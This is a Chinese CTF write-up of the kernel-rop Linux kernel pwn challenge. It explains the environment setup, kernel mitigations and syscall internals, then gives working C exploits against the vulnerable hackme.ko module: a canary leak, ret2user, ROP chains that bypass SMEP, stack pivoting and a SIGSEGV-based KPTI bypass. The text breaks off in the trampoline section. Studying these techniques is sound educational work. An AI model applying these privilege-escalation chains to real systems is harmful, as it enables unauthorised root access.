dustland

dustball in dustland

kernel rop

kernel pwn

environment setup

通常linux kernel pwn题目标是在一个有漏洞的内核模块上搞破坏

赛题会给这么几样东西

initramfs.cpio.gz或者类似的名字: 内存文件系统, 通常是基于busybox构建的一个最简的linux 文件系统目录, 其中包含有漏洞的内核模块

vmlinuz: 内核镜像

run.sh: qemu启动脚本,qemu会基于上述vmlinuzinitramfs启动一个虚拟机

initramfs.cpio.gz

这玩意儿是两层打包之后的文件系统, cpio包外面又套了一个gz

1
gunzip initramfs.cpio.gz

得到initramfs.cpio

1
cpio -idm < ./initramfs.cpio

得到一个linux目录结构

1
2
root@Destroyer:/usr/src/kernel-rop/test# ls
bin etc geninitramfs.sh hackme.ko init initramfs.cpio root sbin usr

通常这个目录简单得很

hackme.ko: 存在漏洞的内核模块

init: 由shell或者c编写的启动脚本

bin: 由busybox实现的linux命令集

etc: etc下的inittab或者init.d/rcS中有更多的开机启动项目, 比如设置uid或者加载内核模块等

cpio

cpio是什么?

CPIO(Copy In Copy Out), 在早期linux系统中用于将多个文档打包成一个文档传输然后再解包

为什么使用cpio?

内核只认cpio打包的initramfs文件包

如何使用cpio?

cpio命令用起来很诡异, 有各种管道或者重定向符号

这是因为cpio默认从标准输入获取数据, 并输出到标准输出

因此将多个文件打包输出成一个文件需要将标准输入输出重定向到文件流

cpio有三种工作模式:copy-out,copy-in,copy-pass

1.copy-out: 把文件打包, 默认输出到标准输出, 通常重定向到文件, 比如

1
find . -print0 | cpio --null -ov --format=newc | gzip -9 > ../initramfs.cpio.gz

首先查找当前目录下所有文件, 获得文件名列表

-print0:文件名以\x00分割

然后管道交给cpio归档

--null:文件名以\x00分割

-o: 输出

-v: verbose, 详细模式, 打印工作过程

--format=newc : 以newc格式归档

然后管道交给gzip压缩

-9最高压缩级别

然后重定向到文件输出

2.copy-in:解包, 默认从标准输入读包, 通常重定向到文件输入, 比如

1
cpio -idm < ./initramfs.cpio

重定向输入为./initramfs.cpio文件

-i: 解包

-d: 自动建立相应目录

-m: 保留文件修改日期

3.copy-pass: 将一个目录树拷贝到另一个目录下, 只是一个搬运

启动项

/etc/inittab

inittab可以看作init进程的配置文件,规定init进程需要执行的初始化任务

img

inittab中每一行都按照下述语法

1
label:runlevel:action:process

label: 就是一个命名, 给本行登记项一个唯一标识

runlevel: 指定任务运行级

action: 指定命令执行时机

process: 需要执行的shell命令

比如在kernel-rop这道题中是这样写的

1
2
::sysinit:/etc/init.d/rcS
::once:-sh -c 'cat /etc/motd; setuidgid 1000 /bin/sh; poweroff'

1.在系统初始化时执行/etc/init.d/rcS

2.执行一次打印/etc/motd然后设置普通用户权限(1000), 然后起低权限的shell

/etc/init.d/rcS

这个/etc/init.d/rcS干了啥呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh

/bin/busybox --install -s #在/usr/bin下面创建ls,mkdir等一系列命令,链接到/usr/bin/busybox

stty raw -echo #set tty, 设置终端上打印行为, 挺怪异的

chown -R 0:0 / #所有文件变更拥有者为root

mkdir -p /proc && mount -t proc none /proc
mkdir -p /dev && mount -t devtmpfs devtmpfs /dev
mkdir -p /tmp && mount -t tmpfs tmpfs /tmp

echo 1 > /proc/sys/kernel/kptr_restrict #禁止普通用户查看/proc/kallsyms
echo 1 > /proc/sys/kernel/dmesg_restrict #禁止普通用户查看dmesg信息
chmod 400 /proc/kallsyms #/proc/kallsyms对root只读,其他用户不可访问

insmod /hackme.ko #加载内核模块
chmod 666 /dev/hackme #允许所有用户读写访问内核模块hackme.ko的接口/dev/hackme

由于inittab中已经将用户限制为普通用户(1000), 此时是看不到dmesg以及kallsym的,

因此可以修改inittab中的用户id,从1000改成0,然后重新打包,启动虚拟机,此时就是root用户了

vmlinuz

vmlinuz就是bzImage,也就是可以引导的内核镜像

1
2
root@Destroyer:/usr/src/kernel-rop# file vmlinuz
vmlinuz: Linux kernel x86 boot executable bzImage, version 5.9.0-rc6+ (martin@martin) #10 SMP Sun Nov 22 16:47:32 CET 2020, RO-rootFS, swap_dev 0X7, Normal VGA

vmlinux是内核elf文件, 而vmlinuz是可引导的, 经过压缩的内核

为了提取内核中的gadget, 我们需要有vmlinux elf文件

可以使用vmlinux-to-elf或者extract-vmlinux工具从vmlinuz中提取vmlinux

1
https://github.com/marin-m/vmlinux-to-elf
1
vmlinux-to-elf ./vmlinuz ./vmlinux

提取完成后生成vmlinux elf文件

1
2
3
4
root@Destroyer:/usr/src/kernel-rop# file vmlinuz
vmlinuz: Linux kernel x86 boot executable bzImage, version 5.9.0-rc6+ (martin@martin) #10 SMP Sun Nov 22 16:47:32 CET 2020, RO-rootFS, swap_dev 0X7, Normal VGA
root@Destroyer:/usr/src/kernel-rop# file vmlinux
vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), too many program (36106)

接下来使用ROPgadget提取vmlinux中的gadgets,写入文件准备使用

1
ROPgadget --binary ./vmlinux > ./gadgets

有一说一, ROPgadget是真慢吧, 用这个ropr快的跟马一样

1
https://github.com/Ben-Lichtman/ropr

run.sh

qemu启动虚拟机的脚本

1
2
3
4
5
6
7
8
9
10
11
qemu-system-x86_64 \
-m 128M \ #内存大小为128MB
-cpu kvm64,+smep,+smap \ #cpu采用kvm64模型,开启smep和smap保护
-kernel vmlinuz \ #使用vmlinuz作为内核镜像
-initrd initramfs.cpio.gz \ #指定内存文件系统
-hdb flag.txt \ #指定虚拟硬盘
-snapshot \ #快照模式,不会修改虚拟硬盘内容,只会修改内存
-nographic \ #不使用图形界面
-monitor /dev/null \ #禁用qemu monitor接口,实际上是将其重定向到垃圾桶
-no-reboot \ #即使内核崩溃也不重启
-append "console=ttyS0 kaslr kpti=1 quiet panic=1" #额外启动参数,指定控制台设备,开启kaslr,kpti

如果需要调试内核,还得加上-s选项,启动gdb调试功能

1
2
3
4
5
6
7
8
9
10
11
12
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,+smap \
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hda flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 kaslr kpti=1 quiet panic=1"\
-s

默认会在本机1234端口上监听gdb附加调试

如果不想使用gef,pwndbg等插件,只使用裸gdb调试

1
2
gdb --nx vmlinux
target remote localhost:1234

kernel mitigation features

canary

canary: 内核堆栈金丝雀

kaslr

kaslr: 内核地址随机化

FG-KASLR

函数kaslr

不光内核镜像整体基地址会变

代码段的一些函数也会随机变位置

smep

smep(supervisor mode execution protection): 内核态时不允许执行用户空间代码

CR420位置1

开启: -cpu +smep

关闭: -append nosmep

smap

smap(supervisor mode access prevention): 内核态时不允许访问用户空间数据

CR4第21位置1

开启: -cpu +smap

关闭: -append nosmap

kpti

kpti(kernel page table isolation), 内核页表隔离

开启时启用两张页表, 在内核态时的页表包含了内核空间与用户空间

在用户态时的页表是只有用户空间的拷贝

开启-append kpti=1

关闭-append nopti

File:Kernel page-table isolation.svg

context switch

以系统调用与其返回过程为例, 观察上下文切换过程

x86

以write为例

1
2
//write @ linux0.12/lib/write.c
_syscall3(int, write, int, fd, const char *, buf, off_t, count)

__syscalln表示有n个参数的系统调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//_syscall3 @ linux0.12/include/unistd.h
/* 有3个参数的系统调用函数 type_name(atype a,btype b,ctype c) */
#define _syscall3(type, name, atype, a, btype, b, ctype, c) \
type name(atype a, btype b, ctype c) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name), "b" ((long)(a)), "c" ((long)(b)), "d" ((long)(c))); \
if (__res >= 0) \
return (type) __res; \
errno = -__res; \
return -1; \
}

实际上调用约定:

1
2
3
4
rax = __NR_write 	(write的系统调用号)
rbx = fd (第一个参数)
rcx = buf (第二个参数)
rdx = count (第三个参数)

然后执行int 0x80指令,

所有的int n指令,都对应到IDT(Interrupt Describetor Table)中断描述符表中的一个门

IDT表共有256个表项,也就是说int n这里的n能够允许的范围是0~255

其中0~31项保留给CPU定义的异常和中断, 也就是内部中断或异常

​ 比如int 0 表示除法出错, 也就是DIV出错

​ 比如int 3 表示断点命中

32~255保留给用户或者设备, 也就是外部中断或者异常

​ 比如int 0x80 表示系统调用

IDT表中有三类表项, 中断门,陷阱门,任务门

int 0x80这条指令在sched_init @ kernel/shed.c中被注册为陷阱门

1
2
3
4
//sched_init @ kernel/shed.c
set_system_gate(0x80,&system_call);

#define set_system_gate(n, addr) _set_gate(&idt[n], 15, 3, addr)

在该陷阱门中system_call函数被注册为中断处理过程

system_callkernel/sys_call.s中被定义为一个函数, 是所有系统调用的入口, 以eax寄存器值作为系统调用号索引对应系统调用函数

int 0x80过程:

1.由IDTR寄存器查到IDT表基地址

2.以0x80作为索引查IDT表得到IDT[0x80]门, 是一个陷阱门

3.IDT[0x80]中获得(中断处理过程所在段的)段选择子, 陷阱门DPL, (中断处理过程在其)段中的偏移量

image-20241120152851772

4.由段选择子查LDT或者GDT表获得中断处理过程system_call所在段

image-20241120153036405

然后段基地址加上IDT中保留的偏移量找到system_call函数地址

5.在调用system_call函数之前, 需要考虑前后段属性是否有改变

对于系统调用来说, 是从3环上经过陷阱门调用0环上的system_call, 段权限发生了变化

因此首先切换堆栈, 从用户堆栈切换到内核堆栈, 切换过程:

​ (1) 从当前用户任务的TSS段中得到0环堆栈的段地址ss0和栈顶指针esp0

​ (2) ss3:esp3更换为ss0:esp0

​ (3) ss3:esp3压到新栈中保存, eflags, cs:eip也依次压入新栈

​ (4) 异常产生的错误号压栈(如果有的话)

对于同级的中断,比如内核中执行时遭遇除零异常等,不会发生堆栈切换

​ (1)eflags, cs:eip 压栈

​ (2)异常产生的错误号压栈(如果有的话)

image-20241120155553711

6.此后就运行在内核态的system_call函数中了

7.当system_call要返回时,最后会有一条iret指令,而不是普通的ret指令

此时内核栈或者说0环栈上的状态, 和刚进入system_call时相同,

iret 指令会根据栈顶上的内容还原到之前的用户程序中

ret2user的原理就是在内核堆栈中伪造一个假的用户上下文,让iret返回到攻击者期望的用户程序中

x64

x64上的系统调用不再使用中断向量表, 也就是说不会再使用int系指令

x64上引入了新的中断机制, 叫做APIC, 并且给系统调用实现了专门的syscall指令,

必须将系统调用入口函数entry_SYSCALL_64的地址, 注册到MSR寄存器中

1
2
3
4
5
6
//@linux5.13/arch/x86/kernel/cpu/common.c/syscall_init.c
void syscall_init(void)
{
wrmsr(MSR_STAR, 0, (__USER32_CS << 16) | __KERNEL_CS);
wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64);
...

此后syscall指令会查MSR寄存器,跳到entry_SYSCALL_64中执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132

SYM_CODE_START(entry_SYSCALL_64)
UNWIND_HINT_EMPTY

swapgs
/* tss.sp2 is scratch space. */
movq %rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2)
SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp

SYM_INNER_LABEL(entry_SYSCALL_64_safe_stack, SYM_L_GLOBAL)

/* Construct struct pt_regs on stack */
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(cpu_tss_rw + TSS_sp2) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
SYM_INNER_LABEL(entry_SYSCALL_64_after_hwframe, SYM_L_GLOBAL)
pushq %rax /* pt_regs->orig_ax */

PUSH_AND_CLEAR_REGS rax=$-ENOSYS

/* IRQs are off. */
movq %rax, %rdi
movq %rsp, %rsi
call do_syscall_64 /* returns with IRQs disabled */

/*
* Try to use SYSRET instead of IRET if we're returning to
* a completely clean 64-bit userspace context. If we're not,
* go to the slow exit path.
* In the Xen PV case we must use iret anyway.
*/

ALTERNATIVE "", "jmp swapgs_restore_regs_and_return_to_usermode", \
X86_FEATURE_XENPV

movq RCX(%rsp), %rcx
movq RIP(%rsp), %r11

cmpq %rcx, %r11 /* SYSRET requires RCX == RIP */
jne swapgs_restore_regs_and_return_to_usermode

/*
* On Intel CPUs, SYSRET with non-canonical RCX/RIP will #GP
* in kernel space. This essentially lets the user take over
* the kernel, since userspace controls RSP.
*
* If width of "canonical tail" ever becomes variable, this will need
* to be updated to remain correct on both old and new CPUs.
*
* Change top bits to match most significant bit (47th or 56th bit
* depending on paging mode) in the address.
*/
#ifdef CONFIG_X86_5LEVEL
ALTERNATIVE "shl $(64 - 48), %rcx; sar $(64 - 48), %rcx", \
"shl $(64 - 57), %rcx; sar $(64 - 57), %rcx", X86_FEATURE_LA57
#else
shl $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
sar $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
#endif

/* If this changed %rcx, it was not canonical */
cmpq %rcx, %r11
jne swapgs_restore_regs_and_return_to_usermode

cmpq $__USER_CS, CS(%rsp) /* CS must match SYSRET */
jne swapgs_restore_regs_and_return_to_usermode

movq R11(%rsp), %r11
cmpq %r11, EFLAGS(%rsp) /* R11 == RFLAGS */
jne swapgs_restore_regs_and_return_to_usermode

/*
* SYSCALL clears RF when it saves RFLAGS in R11 and SYSRET cannot
* restore RF properly. If the slowpath sets it for whatever reason, we
* need to restore it correctly.
*
* SYSRET can restore TF, but unlike IRET, restoring TF results in a
* trap from userspace immediately after SYSRET. This would cause an
* infinite loop whenever #DB happens with register state that satisfies
* the opportunistic SYSRET conditions. For example, single-stepping
* this user code:
*
* movq $stuck_here, %rcx
* pushfq
* popq %r11
* stuck_here:
*
* would never get past 'stuck_here'.
*/
testq $(X86_EFLAGS_RF|X86_EFLAGS_TF), %r11
jnz swapgs_restore_regs_and_return_to_usermode

/* nothing to check for RSP */

cmpq $__USER_DS, SS(%rsp) /* SS must match SYSRET */
jne swapgs_restore_regs_and_return_to_usermode

/*
* We win! This label is here just for ease of understanding
* perf profiles. Nothing jumps here.
*/
syscall_return_via_sysret:
/* rcx and r11 are already restored (see code above) */
POP_REGS pop_rdi=0 skip_r11rcx=1

/*
* Now all regs are restored except RSP and RDI.
* Save old stack pointer and switch to trampoline stack.
*/
movq %rsp, %rdi
movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
UNWIND_HINT_EMPTY

pushq RSP-RDI(%rdi) /* RSP */
pushq (%rdi) /* RDI */

/*
* We are on the trampoline stack. All regs except RDI are live.
* We can do future final exit work right here.
*/
STACKLEAK_ERASE_NOCLOBBER

SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi

popq %rdi
popq %rsp
swapgs
sysretq
SYM_CODE_END(entry_SYSCALL_64)

执行完毕后使用sysretq返回到用户态

在x64上有两种返回到用户态的命令

sysretiret

注意到x64syscall一开始和最后sysret之前, 都有一个swapgs, 这个指令也是x64独有的

fs,gs这两个段寄存器是x86上引入的两个附加段寄存器

fs用于在用户态的glibc中保存TLS

gs用于在内核态保存percpu变量与canary

fs在内核态无用,gs在用户态无效

swapgs中更换的gs来自于MSR寄存器

image-20241120204022830

总是当前使用一个,然后MSR记住另一个

privilege escalation

进程权限由task_struct的成员struct cred *cred控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pwndbg> ptype struct cred
type = struct cred {
atomic_t usage;
kuid_t uid;
kgid_t gid;
kuid_t suid;
kgid_t sgid;
kuid_t euid;
kgid_t egid;
kuid_t fsuid;
kgid_t fsgid;
unsigned int securebits;
kernel_cap_t cap_inheritable;
kernel_cap_t cap_permitted;
kernel_cap_t cap_effective;
kernel_cap_t cap_bset;
kernel_cap_t cap_ambient;
unsigned char jit_keyring;
struct key *session_keyring;
struct key *process_keyring;
struct key *thread_keyring;
struct key *request_key_auth;
void *security;
struct user_struct *user;
struct user_namespace *user_ns;
struct group_info *group_info;
union {
int non_rcu;
struct callback_head rcu;
};
}

想要提升一个普通进程的权限到root, 可以找一个root进程的cred抄过来

修改进程cred的方法:

1.要么构造rop链调用内核函数commit_creds(&init_cred);,抄init进程的cred替换当前进程的

2.要么有一个内核内存任意写的利用原语, 找到当前进程task_struct, 然后找到cred , 然后修改之

commit_creds(&init_cred);

这就有一个问题,怎么才能找到init进程的cred?

怎么才能找到struct init_task?

Linux 6.2之前有另一个函数prepare_kernel_cred给我们代劳

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;

kdebug("prepare_kernel_cred() alloc %p", new);

if (daemon)
old = get_task_cred(daemon);
else //daemon == NULL时返回init_cred
old = get_cred(&init_cred);

当参数为NULL时, 该函数返回init_cred,也就是init_taskcred

因此可以构造堆栈rop链:

commit_creds(prepare_kernel_cred(NULL))
1
2
3
4
NULL => rdi
prepare_kernel_cred(rdi) => rax
rax => rdi
commit_creds(rdi)

但是Linux 6.2及之后如果参数为NULL则直接返回NULL了, 叫没法空手套白狼了

1
2
3
4
5
6
7
8
9
10
11
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;

if (WARN_ON_ONCE(!daemon))
return NULL;

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;

vulnerability kernel module

题目所给的内核模块hackme.ko

模块的初始化函数中调用misc_register函数注册了一个struct miscdevice字符杂项设备

字符杂项设备

1
2
3
4
5
6
7
8
9
10
struct miscdevice{
  int minor; //杂项设备的此设备号(如果设置为MISC_DYNAMIC_MINOR,表示系统自动分配未使用的minor)
  const char *name; // /dev目录下的节点名称
  const stuct file_operations *fops;//驱动主题函数入口指针
  struct list_head list;
  struct device *parent;
  struct device *this_device;
  const char *nodename;//
  mode_t mode;
};

字符杂项设备的主设备号自动被设置为10, 次设备号由minor字段定义

misc_register注册字符杂项设备时会自动在/dev/下创建设备节点文件, 节点文件名由name字段给出, nodename表示/dev/下的二级目录, 如果nodename非空则创建节点文件/dev/<nodename>/name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.data:0000000000000440 hackme_misc     dd 0FFh                 ; minor
.data:0000000000000440 ; DATA XREF: hackme_init+6↑o
.data:0000000000000440 ; hackme_exit+1↑o
.data:0000000000000440 db 4 dup(0) ; "hackme"
.data:0000000000000440 dq offset aHackme ; name
.data:0000000000000440 dq offset hackme_fops ; fops
.data:0000000000000440 dq 0 ; list.next
.data:0000000000000440 dq 0 ; list.prev
.data:0000000000000440 dq 0 ; parent
.data:0000000000000440 dq 0 ; this_device
.data:0000000000000440 dq 0 ; groups
.data:0000000000000440 dq 0 ; nodename
.data:0000000000000440 dw 0 ; mode
.data:0000000000000440 db 6 dup(0)
.data:0000000000000440 _data ends

其中fops是一个自定义的设备行为指针表

1
2
3
4
5
.rodata:0000000000000320 hackme_fops     file_operations <offset __this_module, 0, offset hackme_read, \
.rodata:0000000000000320 ; DATA XREF: .data:hackme_misc↓o
.rodata:0000000000000320 offset hackme_write, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, \
.rodata:0000000000000320 offset hackme_open, 0, offset hackme_release, 0, 0, \
.rodata:0000000000000320 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0>

可以看到自定义了read,write,open,release四种行为

hackme_read中发生了这么一个事:

1
kstack_buf1[0:size]@kernel stack  =>  hackme_buf@kernel bss  =>  user_data@user 

由于size由用户指定,因此这里可以泄露内核堆栈上的canary,以及函数返回地址,以此可以绕过KASLR

hackme_write中发生了这么一个事:

1
user_data[0:size]@user  =>  hackme_buf@kernel bss  =>  kstack_buf2@kernel stack 

由于size由用户指定,因此这里可以往内核堆栈写入任意字节,存在堆栈溢出,可以构造ROP

思路:

1.在hackme_read中泄露canary与返回地址, 绕过KASLR

2.在hackme_write中堆栈溢出, 构造ROP链

exploit

ret2user

假设我们关闭smap,smep,kpti,kaslr, 只考虑绕过canary

1.利用hackme_read泄露canary

2.利用hackme_write绕过canary检查,继续溢出内核堆栈,构造rop链条

3.更换进程creds提权, 也就是执行

1
commit_creds(prepare_kernel_cred(0));

在用户程序中写shellcode实现, 然后在rop链条中ret2shellcode

4.返回到用户态

也就是执行iret

在用户程序中写shellcode实现

5.起shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#include <fcntl.h>
#include <stdio.h>

//未开启KASLR时,两个函数的地址
size_t addr_commit_creds = 0xffffffff814c6410;
size_t addr_prepare_kernel_cred = 0xffffffff814c67f0;

int dev_fd;
size_t canary;

size_t user_cs;
size_t user_ss;
size_t user_sp;
size_t user_rflags;
size_t user_rip;


void save_state();
void open_dev();
void leak_canary();
void overflow();

void spawn_shell();
void privilege_escalation();

int main(){
save_state(); //保存进入内核之前的用户态上下文
open_dev(); //打开设备
leak_canary(); //泄露canary
overflow(); //溢出,绕过canary,构造rop链
puts("[!] should never be reached");
return 0;
}



void open_dev(){
dev_fd = open("/dev/hackme",O_RDWR);
}

void spawn_shell(){
char *argv[] = {"/bin/sh", NULL};
execve(argv[0], argv, NULL);
}

void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
user_rip = spawn_shell;
puts("[*] Saved state");
}

void privilege_escalation(){
__asm__(
".intel_syntax noprefix;"
"movabs rax,addr_prepare_kernel_cred;"
"xor rdi,rdi;"
"call rax;"
"mov rdi,rax;" //init_task.creds -> rdi
"movabs rax,addr_commit_creds;"
"call rax;" //commit_creds(init_task.creds)

"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}

void leak_canary(){
char buffer[0x100];
read(dev_fd,buffer,0xA8);
canary = *(size_t*)((char*)buffer+0x80);
}

void overflow(){
size_t payload[0x100];
int offset = (0xa0 - 0x20) >> 3;
memset(payload,0,offset*8);
payload[offset++] = canary;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = (size_t)&privilege_escalation;
puts("[*] overflow ");
write(dev_fd,payload,offset*8);
}

bypass SMEP

smep(supervisor mode execution protection): 内核态时不允许执行用户空间代码

smep类似于用户态的NX的概念,

NX不允许用户在堆栈里执行

smep不允许内核态执行用户代码 , 内核态只能执行内核态的代码

之前在内核堆栈中构造rop链, 直接返回到用户代码, 会被smep拦住

绕过方式:

1.CR4[bit20]是SMEP开关, 在老版本内核上可以改成0绕过, 但是在新内核上CR4[bit20]被扎了钉子, 手动改成0会立刻被自动改回1

image-20241120211400284

2.全用内核rop绕过

之前的exp失效的原因是, rop链上的返回地址, 是用户程序中的privilege_escalation函数

1
payload[offset++] = (size_t)&privilege_escalation;

smep要求在进入内核之后, 只能调用内核函数

那么我们需要使用纯rop链代替privilege_escalation的功能

那么这个rop链应该这样构造:

1
2
3
4
5
6
1.addr prepare_kernel_cred
2.gadget rax->rdi
3.addr commit_cred
4.addr swapgs; ret
5.iretq
6.RIP|CS|RFLAGS|SP|SS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void overflow(){
size_t payload[0x100];
int offset = (0xa0 - 0x20) >> 3;
memset(payload,0,offset*8);
payload[offset++] = canary;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = addr_pop_rdi_ret;
payload[offset++] = 0; //rdi = 0
payload[offset++] = addr_prepare_kernel_cred; //init_task.creds in rax
payload[offset++] = addr_xor_edi_edi_ret;
payload[offset++] = addr_mov_rdi_rax_ja_pop_rbp_ret;
payload[offset++] = 0; //rbp = 0
payload[offset++] = addr_commit_creds;
payload[offset++] = addr_swapgs_pop_rbp_ret;
payload[offset++] = 0; //rbp = 0
payload[offset++] = addr_iret; //rbx = 0
payload[offset++] = user_rip;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;

puts("[*] overflow ");
write(dev_fd,payload,offset*8);
}

stack pivoting

在只开启smep, 不开启smap的情况下, 虽然控制流无法直接执行用户空间的程序

但是可以直接访问用户空间的数据

在用户空间上申请一块内存, 然后在rop链上构造堆栈迁移, 将内核堆栈搬到用户空间中,

堆栈迁移的好处是:

1.拥有更大的空间

2.新堆栈可执行

需要注意的是, mmap申请的页必须对齐到0x1000

用这个gadget, 实际上这个限制已经非常严苛了, 甚至查rspgadget查不到,

esp还是查到了两条, 幸运的是这两个地址也是在内核代码段里的

1
2
3
4
root@Destroyer:/usr/src/kernel-rop# cat gadgets.ropgadget | grep "mov rsp, 0x.*000 ;.*; ret"
root@Destroyer:/usr/src/kernel-rop# cat gadgets.ropgadget | grep "mov esp, 0x.*000 ;.*; ret"
0xffffffff8196f56a : mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret
0xffffffff81971202 : xchg ebx, eax ; mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret

x86_64汇编中,对esp这种32为寄存器的搬运操作, 默认是无符号搬运, 也就是说

mov esp, 0x5b000000只会给esp的低32位置数, 高32位置零

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void alloc_fake_stack(){
fake_stack = mmap((char*)fake_stack_addr - 0x1000,0x2000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
int offset = 0x1000/8;
fake_stack[0] = 0xdeadbeef; //实际上写东西才会真正创建这个页

fake_stack[offset++] = 0;
fake_stack[offset++] = 0;
fake_stack[offset++] = addr_pop_rdi_ret;
fake_stack[offset++] = 0; //rdi = 0
fake_stack[offset++] = addr_prepare_kernel_cred; //init_task.creds in rax
fake_stack[offset++] = addr_xor_edi_edi_ret;
fake_stack[offset++] = addr_mov_rdi_rax_ja_pop_rbp_ret;
fake_stack[offset++] = 0; //rbp = 0
fake_stack[offset++] = addr_commit_creds;
fake_stack[offset++] = addr_swapgs_pop_rbp_ret;
fake_stack[offset++] = 0; //rbp = 0
fake_stack[offset++] = addr_iret; //rbx = 0
fake_stack[offset++] = user_rip;
fake_stack[offset++] = user_cs;
fake_stack[offset++] = user_rflags;
fake_stack[offset++] = user_sp;
fake_stack[offset++] = user_ss;

puts("[*] overflow ");
write(dev_fd,fake_stack,offset*8);

}

由于0x5b000000这空间是用户空间的, 因此在开启smap之后, 这种方法会失效

bypass KPTI

Kernel page-table isolation , 内核页表隔离

开启kpti保护后, 用户态和内核态分别使用两张页表,

File:Kernel page-table isolation.svg

在用户态时,页表包含了全部用户空间与内核空间的很小一部分, 主要是系统调用入口

在内核态时,页表包含了全部用户空间与全部内核空间, 但是用户空间的内存映射部分全都被标记为不可执行(但是还是可读写的)

涉及到用户态与内核态的转换时, 首先要更换页表

如果在内核态中不更换页表, 直接iret返回到用户空间想起shell会被kpti发现

signal handler方法

虽然不更换页表直接返回到用户态, 会被kpti发现

但是此时内核并不会崩溃,而是报告一个用户态的SIGSEGV信号

为什么是用户态的段错误信号呢?

因为此时已经iret返回到用户态了

但是页表使用的仍然是kpti内核态页表, 而从这个也表上只能看出当前用户空间代码段没有x权限

因此实际上类似于NX保护时尝试执行堆栈中的shellcode, 是一个道理

因此是用户态的段错误

调试发现, 当段错误信号发生时, 已经完成了cred的更换, 并且已经iret返回到了用户态

在用户态刚要执行的第一条代码触发了中断, 内核给用户发送了SIGSEGV

如果此前用户已经注册了信号处理函数, shell作为SIGSEGV的处理函数, 内核会通过正常的中断处理程序返回到用户态, 内核自己正常返回时会自动切换页表, 因此经过这条路返回到用户态就正常了, 并且控制流也给到了shell函数中

就可以起一个root shell

1
2
3
4
5
6
7
8
9
int main(){
signal(SIGSEGV, spawn_shell);
save_state(); //保存进入内核之前的用户态上下文
open_dev(); //打开设备
leak_canary(); //泄露canary
overflow(); //溢出,绕过canary,构造rop链
puts("[!] should never be reached");
return 0;
}

kpti trampoline方法

基于这样一点考虑:

内核正常的系统调用如果能走某条路成功着陆用户态,那么我们也可以借道

这个道就叫kpti trampoline, 这道可以 更换页表, swapgs, iretq

trampoline是指内核态返回到用户态的缓冲, 因此叫做蹦床

位于内核函数swapgs_restore_regs_and_return_to_usermode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//@ Linux-5.14/arch/x86/entry/entry_64.S
SYM_CODE_START_LOCAL(common_interrupt_return)
SYM_INNER_LABEL(swapgs_restore_regs_and_return_to_usermode, SYM_L_GLOBAL)
#ifdef CONFIG_DEBUG_ENTRY
/* Assert that pt_regs indicates user mode. */
testb $3, CS(%rsp)
jnz 1f
ud2
1:
